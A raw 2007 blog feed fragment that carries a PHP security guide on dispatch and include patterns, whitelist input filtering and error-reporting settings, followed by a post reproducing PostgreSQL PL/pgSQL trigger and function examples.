/&gt;switch ($_GET['task'])&lt;br /&gt;{&lt;br /&gt;   case 'print_form':&lt;br /&gt;       include '/inc/presentation/form.inc';&lt;br /&gt;       break;&lt;br /&gt;&lt;br /&gt;   case 'process_form':&lt;br /&gt;       $form_valid = false;&lt;br /&gt;       include '/inc/logic/process.inc';&lt;br /&gt;       if ($form_valid)&lt;br /&gt;       {&lt;br /&gt;           include '/inc/presentation/end.inc';&lt;br /&gt;       }&lt;br /&gt;       else&lt;br /&gt;       {&lt;br /&gt;           include '/inc/presentation/form.inc';&lt;br /&gt;       }&lt;br /&gt;       break;&lt;br /&gt;&lt;br /&gt;   default:&lt;br /&gt;       include '/inc/presentation/index.inc';&lt;br /&gt;       break;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;If this is the only public PHP script, then it should be clear that the&lt;br /&gt;design of this application ensures that any global security measures taken at&lt;br /&gt;the top cannot be bypassed. It also lets a developer easily see the control&lt;br /&gt;flow for a specific task. For example, instead of glancing through a lot of&lt;br /&gt;code, it is easy to see that &lt;tt&gt;end.inc&lt;/tt&gt; is only displayed to a&lt;br /&gt;user when &lt;tt&gt;$form_valid&lt;/tt&gt; is &lt;tt&gt;true&lt;/tt&gt;, and&lt;br /&gt;because it is initialized as &lt;tt&gt;false&lt;/tt&gt; just before&lt;br /&gt;&lt;tt&gt;process.inc&lt;/tt&gt; is included, it is clear that the logic within&lt;br /&gt;&lt;tt&gt;process.inc&lt;/tt&gt; must set it to &lt;tt&gt;true&lt;/tt&gt;,&lt;br /&gt;otherwise the form is displayed again (presumably with appropriate error&lt;br /&gt;messages).&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p&gt;&lt;b&gt;Note&lt;/b&gt;&lt;br /&gt;If you use a directory index file such as&lt;br /&gt;&lt;tt&gt;index.php&lt;/tt&gt; (instead of &lt;tt&gt;dispatch.php&lt;/tt&gt;), you&lt;br /&gt;can use URLs such as&lt;br /&gt;&lt;tt&gt;http://example.org/?task=print_form&lt;/tt&gt;.&lt;/p&gt;&lt;p&gt;You can also use the Apache &lt;tt&gt;ForceType&lt;/tt&gt; directive or&lt;br /&gt;&lt;tt&gt;mod_rewrite&lt;/tt&gt; to accommodate URLs such as&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;http://example.org/app/print-form&lt;/tt&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;h3&gt;&lt;a name="1.4.2"&gt;The Include Method&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Another approach is to have a single module that is responsible for all&lt;br /&gt;security measures. This module is included at the top (or very near the top)&lt;br /&gt;of all PHP scripts that are public (available via URL). Consider the following&lt;br /&gt;&lt;tt&gt;security.inc&lt;/tt&gt; script:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;switch ($_POST['form'])&lt;br /&gt;{&lt;br /&gt;   case 'login':&lt;br /&gt;       $allowed = array();&lt;br /&gt;       $allowed[] = 'form';&lt;br /&gt;       $allowed[] = 'username';&lt;br /&gt;       $allowed[] = 'password';&lt;br /&gt;&lt;br /&gt;       $sent = array_keys($_POST);&lt;br /&gt;&lt;br /&gt;       if ($allowed == $sent)&lt;br /&gt;       {&lt;br /&gt;           include '/inc/logic/process.inc';&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;       break;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;In this example, each form that is submitted is expected to have a form&lt;br /&gt;variable named &lt;tt&gt;form&lt;/tt&gt; that uniquely identifies it, and&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;security.inc&lt;/tt&gt; has a separate case to handle the data&lt;br /&gt;filtering for that particular form. An example of an HTML form that fulfills&lt;br /&gt;this requirement is as follows:&lt;/p&gt;&lt;br /&gt;&lt;pre class="code"&gt;&amp;lt;form action="/receive.php" method="POST"&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="form" value="login" /&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;Username:&lt;br /&gt;&amp;lt;input type="text" name="username" /&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;Password:&lt;br /&gt;&amp;lt;input type="password" name="password" /&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;input type="submit" /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;An array named &lt;tt&gt;$allowed&lt;/tt&gt; is used to identify exactly&lt;br /&gt;which form variables are allowed, and this list must be identical in order for&lt;br /&gt;the form to be processed. Control flow is determined elsewhere, and&lt;br /&gt;&lt;tt&gt;process.inc&lt;/tt&gt; is where the actual data filtering takes&lt;br /&gt;place.&lt;/p&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p&gt;&lt;b&gt;Note&lt;/b&gt;&lt;br /&gt;A good way to ensure that &lt;tt&gt;security.inc&lt;/tt&gt; is&lt;br /&gt;always included at the top of every PHP script is to use the&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;auto_prepend_file&lt;/tt&gt; directive.&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;h3&gt;&lt;a name="1.4.3"&gt;Filtering Examples&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;It is important to take a whitelist approach to your data filtering, and&lt;br /&gt;while it is impossible to give examples for every type of form data you may&lt;br /&gt;encounter, a few examples can help to illustrate a sound approach.&lt;/p&gt;&lt;p&gt;The following validates an email address:&lt;/p&gt;&lt;br /&gt;&lt;pre class="code"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$clean = array();&lt;br /&gt;&lt;br /&gt;$email_pattern = '/^[^@\s&amp;lt;&amp;&amp;gt;]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';&lt;br /&gt;&lt;br /&gt;if (preg_match($email_pattern, $_POST['email']))&lt;br /&gt;{&lt;br /&gt;   $clean['email'] = $_POST['email'];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;The following ensures that &lt;tt&gt;$_POST['color']&lt;/tt&gt; is&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;red&lt;/tt&gt;, &lt;tt&gt;green&lt;/tt&gt;, or&lt;br /&gt;&lt;tt&gt;blue&lt;/tt&gt;:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$clean = array();&lt;br /&gt;&lt;br /&gt;switch ($_POST['color'])&lt;br /&gt;{&lt;br /&gt;   case 'red':&lt;br /&gt;   case 'green':&lt;br /&gt;   case 'blue':&lt;br /&gt;       $clean['color'] = $_POST['color'];&lt;br /&gt;       break;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;The following example ensures that &lt;tt&gt;$_POST['num']&lt;/tt&gt; is&lt;br /&gt;an integer:&lt;/p&gt;&lt;br /&gt;&lt;pre class="code"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$clean = array();&lt;br /&gt;&lt;br /&gt;if ($_POST['num'] == strval(intval($_POST['num'])))&lt;br /&gt;{&lt;br /&gt;   $clean['num'] = $_POST['num'];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;The following example ensures that &lt;tt&gt;$_POST['num']&lt;/tt&gt; is a&lt;br /&gt;float:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$clean = array();&lt;br /&gt;&lt;br /&gt;if ($_POST['num'] == strval(floatval($_POST['num'])))&lt;br /&gt;{&lt;br /&gt;   $clean['num'] = $_POST['num'];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h3&gt;&lt;a name="1.4.4"&gt;Naming Conventions&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Each of the previous examples make use of an array named&lt;br /&gt;&lt;tt&gt;$clean&lt;/tt&gt;. This illustrates a good practice that can help&lt;br /&gt;developers identify whether data is potentially tainted. You should never make&lt;br /&gt;a practice of validating data and leaving it in &lt;tt&gt;$_POST&lt;/tt&gt; or&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;$_GET&lt;/tt&gt;, because it is important for developers to always be&lt;br /&gt;suspicious of data within these superglobal arrays.&lt;/p&gt;&lt;p&gt;In addition, a more liberal use of &lt;tt&gt;$clean&lt;/tt&gt; can allow&lt;br /&gt;you to consider everything else to be tainted, and this more closely resembles&lt;br /&gt;a whitelist approach and therefore offers an increased level of&lt;br /&gt;security.&lt;/p&gt;&lt;p&gt;If you only store data in &lt;tt&gt;$clean&lt;/tt&gt; after it has been&lt;br /&gt;validated, the only risk in a failure to validate something is that you might&lt;br /&gt;reference an array element that doesn't exist rather than potentially tainted&lt;br /&gt;data.&lt;/p&gt;&lt;br /&gt;&lt;h3&gt;&lt;a name="1.4.5"&gt;Timing&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Once a PHP script begins processing, the entire HTTP request has been&lt;br /&gt;received. This means that the user does not have another opportunity to send&lt;br /&gt;data, and therefore no data can be injected into your script (even if&lt;br /&gt;&lt;tt&gt;register_globals&lt;/tt&gt; is enabled). This is why initializing your&lt;br /&gt;variables is such a good practice.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;&lt;a name="1.5"&gt;Error Reporting&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In versions of PHP prior to PHP 5, released 13 Jul 2004, error reporting&lt;br /&gt;is pretty simplistic. Aside from careful programming, it relies mostly upon a&lt;br /&gt;few specific PHP configuration directives:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul type="square"&gt;&lt;li&gt;&lt;p&gt;&lt;tt&gt;error_reporting&lt;/tt&gt;&lt;/p&gt;&lt;p&gt;This directive sets the level of error reporting desired. It is&lt;br /&gt;       strongly suggested that you set this to &lt;tt&gt;E_ALL&lt;/tt&gt; for&lt;br /&gt;       both development and production.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;tt&gt;display_errors&lt;/tt&gt;&lt;/p&gt;&lt;p&gt;This directive determines whether errors should be displayed on&lt;br /&gt;       the screen (included in the output). You should develop with this set&lt;br /&gt;       to &lt;tt&gt;On&lt;/tt&gt;, so that you can be alerted to errors during&lt;br /&gt;       development, and you should set this to &lt;tt&gt;Off&lt;/tt&gt; for&lt;br /&gt;       production, so that errors are hidden from the users (and potential&lt;br /&gt;       attackers).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;tt&gt;log_errors&lt;/tt&gt;&lt;/p&gt;&lt;p&gt;This directive determines whether errors should be written to a&lt;br /&gt;       log. While this may raise performance concerns, it is desirable that&lt;br /&gt;       errors are rare. If logging errors presents a strain on the disk due&lt;br /&gt;       to the heavy I/O, you probably have larger concerns than the&lt;br /&gt;       performance of your application. You should set this directive to&lt;br /&gt;       &lt;tt&gt;On&lt;/tt&gt; in production.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;tt&gt;error_log&lt;/tt&gt;&lt;/p&gt;&lt;p&gt;This directive indicates the location of the log file to which&lt;br /&gt;       errors are written. Make sure that the web server has write privileges&lt;br /&gt;       for the specified file.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Having &lt;tt&gt;error_reporting&lt;/tt&gt; set to&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;E_ALL&lt;/tt&gt; will help to enforce the initialization of variables,&lt;br /&gt;because a reference to an undefined variable generates a notice.&lt;/p&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p&gt;&lt;b&gt;Note&lt;/b&gt;&lt;br /&gt;Each of these directives can be set with&lt;br /&gt;&lt;tt&gt;ini_set()&lt;/tt&gt;, in case you do not have access to&lt;br /&gt;&lt;tt&gt;php.ini&lt;/tt&gt; or another method of setting these&lt;br /&gt;directives.&lt;/p&gt;&lt;p&gt;A good reference on all error handling and reporting functions is in the&lt;br /&gt;PHP manual:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;a href="http://www.php.net/manual/en/ref.errorfunc.php"&gt;http://www.php.net/manual/en/ref.errorfunc.php&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;PHP 5 includes exception handling. For more information, see:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.php.net/manual/language.exceptions.php"&gt;http://www.php.net/manual/language.exceptions.php&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;br /&gt;   &lt;tbody&gt;&lt;tr&gt;&lt;br /&gt;       &lt;td align="left" valign="bottom" width="50%"&gt;&lt;br /&gt;           &lt;a href="http://www.blogger.com/"&gt;&amp;lt; Previous&lt;/a&gt;&lt;br /&gt;       &lt;/td&gt;&lt;br /&gt;       &lt;td align="right" valign="bottom" width="50%"&gt;&lt;br /&gt;&lt;br /&gt;           &lt;a href="http://www.blogger.com/2.html"&gt;Next &amp;gt;&lt;/a&gt;&lt;br /&gt;       &lt;/td&gt;&lt;br /&gt;   &lt;/tr&gt;&lt;br /&gt;   &lt;tr&gt;&lt;br /&gt;       &lt;td align="left" valign="bottom" width="50%"&gt;&lt;br /&gt;           Table of Contents&lt;br /&gt;       &lt;/td&gt;&lt;br /&gt;       &lt;td align="right" valign="bottom" width="50%"&gt;&lt;br /&gt;           Form Processing&lt;br /&gt;       &lt;/td&gt;&lt;br /&gt;&lt;br /&gt;   &lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-3795870112847975568?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/3795870112847975568/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=3795870112847975568' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/3795870112847975568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/3795870112847975568'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/08/php-security-guide.html' title='PHP Security Guide'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-1689649836798567007</id><published>2007-08-05T22:46:00.000-07:00</published><updated>2007-08-05T22:55:14.417-07:00</updated><title type='text'>Php-PgSql Example of Function</title><content type='html'>&lt;div class="SECT1"&gt;&lt;h1 class="SECT1"&gt;&lt;a name="PLPGSQL-EXAMPLES"&gt; Examples&lt;/a&gt;&lt;/h1&gt;&lt;span class="APPLICATION"&gt;PL/pgSQL&lt;/span&gt; can be used to define trigger procedures. A trigger procedure is created with the &lt;b class="COMMAND"&gt;CREATE FUNCTION&lt;/b&gt; command as a function with no arguments and a return type of &lt;tt class="TYPE"&gt;OPAQUE&lt;/tt&gt;.  Note that the function must be declared with no arguments even if it expects to receive arguments specified in &lt;b class="COMMAND"&gt;CREATE TRIGGER&lt;/b&gt; --- trigger arguments are passed via &lt;tt class="VARNAME"&gt;TG_ARGV&lt;/tt&gt;, as described below.&lt;br /&gt; &lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;   When a &lt;span class="APPLICATION"&gt;PL/pgSQL&lt;/span&gt; function is called as a trigger, several special variables are created automatically in the top-level block. They are:&lt;br /&gt; &lt;br /&gt;  &lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="VARIABLELIST"&gt;&lt;dl&gt;&lt;dt&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;&lt;tt class="VARNAME"&gt;NEW&lt;/tt&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;       Data type &lt;tt class="TYPE"&gt;RECORD&lt;/tt&gt;; variable holding the new database row for INSERT/UPDATE&lt;br /&gt;      operations in ROW level triggers.&lt;br /&gt;     &lt;/a&gt;&lt;/p&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;&lt;tt class="VARNAME"&gt;OLD&lt;/tt&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;       Data type &lt;tt class="TYPE"&gt;RECORD&lt;/tt&gt;; variable holding the old database row for UPDATE/DELETE&lt;br /&gt;      operations in ROW level triggers.&lt;br /&gt;     &lt;/a&gt;&lt;/p&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;&lt;tt class="VARNAME"&gt;TG_NAME&lt;/tt&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;       Data type &lt;tt class="TYPE"&gt;name&lt;/tt&gt;; variable that contains the name of the trigger actually&lt;br /&gt;      fired.&lt;br /&gt;     &lt;/a&gt;&lt;/p&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;&lt;tt class="VARNAME"&gt;TG_WHEN&lt;/tt&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;       Data type &lt;tt class="TYPE"&gt;text&lt;/tt&gt;; a string of either&lt;br /&gt;             &lt;tt class="LITERAL"&gt;BEFORE&lt;/tt&gt; or &lt;tt class="LITERAL"&gt;AFTER&lt;/tt&gt;&lt;br /&gt;             depending on the trigger's definition.&lt;br /&gt;     &lt;/a&gt;&lt;/p&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;&lt;tt class="VARNAME"&gt;TG_LEVEL&lt;/tt&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;       Data type &lt;tt class="TYPE"&gt;text&lt;/tt&gt;; a string of either&lt;br /&gt;             &lt;tt class="LITERAL"&gt;ROW&lt;/tt&gt; or &lt;tt class="LITERAL"&gt;STATEMENT&lt;/tt&gt; depending on the&lt;br /&gt;      trigger's definition.&lt;br /&gt;     &lt;/a&gt;&lt;/p&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;&lt;tt class="VARNAME"&gt;TG_OP&lt;/tt&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;       Data type &lt;tt class="TYPE"&gt;text&lt;/tt&gt;; a string of&lt;br /&gt;             &lt;tt class="LITERAL"&gt;INSERT&lt;/tt&gt;, &lt;tt class="LITERAL"&gt;UPDATE&lt;/tt&gt;&lt;br /&gt;             or &lt;tt class="LITERAL"&gt;DELETE&lt;/tt&gt; telling&lt;br /&gt;      for which operation the trigger is fired.&lt;br /&gt;     &lt;/a&gt;&lt;/p&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;&lt;tt class="VARNAME"&gt;TG_RELID&lt;/tt&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;       Data type &lt;tt class="TYPE"&gt;oid&lt;/tt&gt;; the object ID of the table that caused the&lt;br /&gt;      trigger invocation.&lt;br /&gt;     &lt;/a&gt;&lt;/p&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;&lt;tt class="VARNAME"&gt;TG_RELNAME&lt;/tt&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;       Data type &lt;tt class="TYPE"&gt;name&lt;/tt&gt;; the name of the table that caused the trigger&lt;br /&gt;      invocation.&lt;br /&gt;     &lt;/a&gt;&lt;/p&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;&lt;tt class="VARNAME"&gt;TG_NARGS&lt;/tt&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;       Data type &lt;tt class="TYPE"&gt;integer&lt;/tt&gt;; the number of arguments given to the trigger&lt;br /&gt;      procedure in the &lt;b class="COMMAND"&gt;CREATE TRIGGER&lt;/b&gt; statement.&lt;br /&gt;     &lt;/a&gt;&lt;/p&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;&lt;tt class="VARNAME"&gt;TG_ARGV[]&lt;/tt&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;       Data type array of &lt;tt class="TYPE"&gt;text&lt;/tt&gt;; the arguments from&lt;br /&gt;             the &lt;b class="COMMAND"&gt;CREATE TRIGGER&lt;/b&gt; statement.&lt;br /&gt;      The index counts from 0 and can be given as an expression. Invalid&lt;br /&gt;      indices (&amp;lt; 0 or &amp;gt;= tg_nargs) result in a NULL value.&lt;br /&gt;     &lt;/a&gt;&lt;/p&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;/div&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;A trigger function must return either NULL or a record/row value having exactly the structure of the table the trigger was fired for. Triggers fired BEFORE may return NULL to signal the trigger manager to skip the rest of the operation for this row (ie, subsequent triggers&lt;br /&gt;   are not fired, and the INSERT/UPDATE/DELETE does not occur for this row).  If a non-NULL value is returned then the operation proceeds with that row value.  Note that returning a row value different from the original value of NEW alters the row that will be inserted or updated.&lt;br /&gt;   It is possible to replace single values directly in NEW and return that, or to build a complete new record/row to return.&lt;br /&gt;  &lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a name="PLPGSQL-TRIGGER"&gt;    The return value of a trigger fired AFTER is ignored; it may as well always return a NULL value.  But an AFTER trigger can still abort the operation by raising an error.&lt;br /&gt;  &lt;/a&gt;&lt;/p&gt;&lt;div class="EXAMPLE"&gt;&lt;a name="AEN30898"&gt;&lt;/a&gt;&lt;p&gt;&lt;a name="AEN30898"&gt;&lt;b&gt;Example 23-1. A &lt;span class="APPLICATION"&gt;PL/pgSQL&lt;/span&gt; Trigger Procedure Example&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a name="AEN30898"&gt;     This example trigger ensures that any time a row is inserted or updated in the table, the current user name and time are stamped into the row. And it ensures that an employee's name is given and that the salary is a positive value.&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre class="PROGRAMLISTING"&gt;&lt;a name="AEN30898"&gt;CREATE TABLE emp (&lt;br /&gt;   empname text,&lt;br /&gt;   salary integer,&lt;br /&gt;   last_date timestamp,&lt;br /&gt;   last_user text&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;CREATE FUNCTION emp_stamp () RETURNS OPAQUE AS '&lt;br /&gt;   BEGIN&lt;br /&gt;       -- Check that empname and salary are given&lt;br /&gt;       IF NEW.empname ISNULL THEN&lt;br /&gt;           RAISE EXCEPTION ''empname cannot be NULL value'';&lt;br /&gt;       END IF;&lt;br /&gt;       IF NEW.salary ISNULL THEN&lt;br /&gt;           RAISE EXCEPTION ''% cannot have NULL salary'', NEW.empname;&lt;br /&gt;       END IF;&lt;br /&gt;&lt;br /&gt;       -- Who works for us when she must pay for?&lt;br /&gt;       IF NEW.salary &amp;lt; 0 THEN&lt;br /&gt;           RAISE EXCEPTION ''% cannot have a negative salary'', NEW.empname;&lt;br /&gt;       END IF;&lt;br /&gt;&lt;br /&gt;       -- Remember who changed the payroll when&lt;br /&gt;       NEW.last_date := ''now'';&lt;br /&gt;       NEW.last_user := current_user;&lt;br /&gt;       RETURN NEW;&lt;br /&gt;   END;&lt;br /&gt;' LANGUAGE 'plpgsql';&lt;br /&gt;&lt;br /&gt;CREATE TRIGGER emp_stamp BEFORE INSERT OR UPDATE ON emp&lt;br /&gt;   FOR EACH ROW EXECUTE PROCEDURE emp_stamp();&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="PLPGSQL-EXAMPLES"&gt;    Here are only a few functions to demonstrate how easy it is to&lt;br /&gt; write &lt;span class="APPLICATION"&gt;PL/pgSQL&lt;/span&gt;&lt;br /&gt; functions. For more complex examples the programmer&lt;br /&gt; might look at the regression test for &lt;span class="APPLICATION"&gt;PL/pgSQL&lt;/span&gt;.&lt;br /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a name="PLPGSQL-EXAMPLES"&gt;    One painful detail in writing functions in &lt;span class="APPLICATION"&gt;PL/pgSQL&lt;/span&gt; is the handling of single quotes. The function's source text in &lt;b class="COMMAND"&gt;CREATE FUNCTION&lt;/b&gt; must&lt;br /&gt; be a literal string. Single quotes inside of literal strings must be either doubled or quoted with a backslash. We are still looking for&lt;br /&gt; an elegant alternative. In the meantime, doubling the single quotes as in the examples below should be used. Any solution for this&lt;br /&gt; in future versions of &lt;span class="PRODUCTNAME"&gt;PostgreSQL&lt;/span&gt; will be forward compatible.&lt;br /&gt;&lt;/a&gt;&lt;/p&gt;&lt;a name="AEN30914"&gt;&lt;/a&gt;&lt;div class="EXAMPLE"&gt;&lt;p&gt;&lt;a name="AEN30914"&gt;&lt;b&gt;Example 2. A Simple &lt;span class="APPLICATION"&gt;PL/pgSQL&lt;/span&gt; Function to Increment an Integer&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a name="AEN30914"&gt;  The following two &lt;span class="APPLICATION"&gt;PL/pgSQL&lt;/span&gt; functions are identical to their counterparts from the C language function discussion. This&lt;br /&gt;  function receives an &lt;tt class="TYPE"&gt;integer&lt;/tt&gt; and increments it by one, returning the incremented value.&lt;br /&gt; &lt;/a&gt;&lt;/p&gt;&lt;pre class="PROGRAMLISTING"&gt;&lt;a name="AEN30914"&gt;CREATE FUNCTION add_one (integer) RETURNS INTEGER AS '&lt;br /&gt; BEGIN&lt;br /&gt;     RETURN $1 + 1;&lt;br /&gt; END;&lt;br /&gt;' LANGUAGE 'plpgsql';&lt;/a&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="EXAMPLE"&gt;&lt;a name="AEN30921"&gt;&lt;/a&gt;&lt;p&gt;&lt;a name="AEN30921"&gt;&lt;b&gt;Example 3. A Simple &lt;span class="APPLICATION"&gt;PL/pgSQL&lt;/span&gt; Function to Concatenate Text&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a name="AEN30921"&gt;     This function receives two &lt;tt class="TYPE"&gt;text&lt;/tt&gt; parameters and returns the result of concatenating them.&lt;br /&gt; &lt;/a&gt;&lt;/p&gt;&lt;pre class="PROGRAMLISTING"&gt;&lt;a name="AEN30921"&gt;CREATE FUNCTION concat_text (TEXT, TEXT) RETURNS TEXT AS '&lt;br /&gt; BEGIN&lt;br /&gt;     RETURN $1 || $2;&lt;br /&gt; END;&lt;br /&gt;' LANGUAGE 'plpgsql';&lt;/a&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="EXAMPLE"&gt;&lt;a name="AEN30927"&gt;&lt;/a&gt;&lt;p&gt;&lt;a name="AEN30927"&gt;&lt;b&gt;Example 4. A &lt;span class="APPLICATION"&gt;PL/pgSQL&lt;/span&gt; Function on Composite Type&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a name="AEN30927"&gt;     In this example, we take &lt;tt class="LITERAL"&gt;EMP&lt;/tt&gt; (a table) and an &lt;tt class="TYPE"&gt;integer&lt;/tt&gt; as arguments to our function, which returns&lt;br /&gt;  a &lt;tt class="TYPE"&gt;boolean&lt;/tt&gt;. If the &lt;tt class="STRUCTFIELD"&gt;salary&lt;/tt&gt; field of the &lt;tt class="STRUCTNAME"&gt;EMP&lt;/tt&gt; table is &lt;tt class="LITERAL"&gt;NULL&lt;/tt&gt;, we return &lt;tt class="LITERAL"&gt;f&lt;/tt&gt;. Otherwise we compare with&lt;br /&gt;  that field with the &lt;tt class="TYPE"&gt;integer&lt;/tt&gt; passed to the function and return the &lt;tt class="TYPE"&gt;boolean&lt;/tt&gt; result of the comparison (t&lt;br /&gt;  or f). This is the 